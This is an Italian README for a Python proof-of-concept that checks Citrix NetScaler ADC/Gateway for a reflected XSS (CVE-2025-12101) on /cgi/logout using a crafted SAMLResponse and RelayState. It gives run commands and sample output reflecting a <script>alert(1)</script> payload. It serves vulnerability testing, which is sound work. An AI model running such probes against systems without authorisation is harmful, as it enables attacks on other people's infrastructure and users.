
Semplice PoC in Python per verificare Citrix NetScaler ADC/Gateway per CVE-2025-12101 XSS riflesso su /cgi/logout utilizzando un payload appositamente creato composto da SAMLResponse + RelayState.
Semplice PoC Python per verificare le istanze Citrix NetScaler ADC / Gateway per CVE-2025-12101 (XSS riflesso su /cgi/logout) utilizzando un payload costruito SAMLResponse + RelayState.
⚠️ Utilizza questo strumento solo su sistemi di tua proprietà o per i quali hai esplicitamente l'autorizzazione a testare.
CVE-2025-12101 è una vulnerabilità di Cross-Site Scripting riflesso che colpisce NetScaler ADC e NetScaler Gateway quando configurati come server virtuale Gateway o AAA.
In configurazioni vulnerabili, l'endpoint /cgi/logout elabora le risposte di logout SAML e può riflettere dati controllati dall'attaccante dal parametro RelayState senza una corretta codifica, portando a XSS.
La ricerca e i dettagli tecnici provengono da watchTowr Labs:
Questo repository fornisce un controllore Python raw-TLS minimale che invia lo stesso tipo di payload e ispeziona la risposta HTTP.
Clona il repository:
git clone https://github.com/6h4ack/CVE-2025-12101-checker.git
cd CVE-2025-12101-checker
Assicurati di avere Python 3 installato.
Lo script principale accetta un singolo parametro obbligatorio: -u / --url.
python3 cve-2025-12101.py -u https://www.example.com
Anche validi:
python3 cve-2025-12101.py -u www.example.com
python3 cve-2025-12101.py -u http://www.example.com
L'URL viene normalizzato internamente; lo script estrae l'hostname e la porta (impostazione predefinita 443 per HTTPS e 80 per HTTP).
Esempio (per un target vulnerabile):
[*] Testing target: www.example.com:443
===== RAW HTTP RESPONSE BEGIN =====
HTTP/1.1 302 Object Moved
Content-Type: text/html
...
<script>alert(1)</script>
...
===== RAW HTTP RESPONSE END =====
[+] HTTP status code: 302
[+] Payload '<script>alert(1)</script>' reflected: True
[VULNERABLE] XSS confirmed on www.example.com with payload '<script>alert(1)</script)'
Per un target non vulnerabile, vedrai qualcosa come:
[INFO] No XSS behaviour detected on www.example.com with this payload.
I colori ANSI vengono utilizzati per rendere il risultato più facile da vedere nel terminale (verde per vulnerabile, rosso per non vulnerabile / condizioni di errore).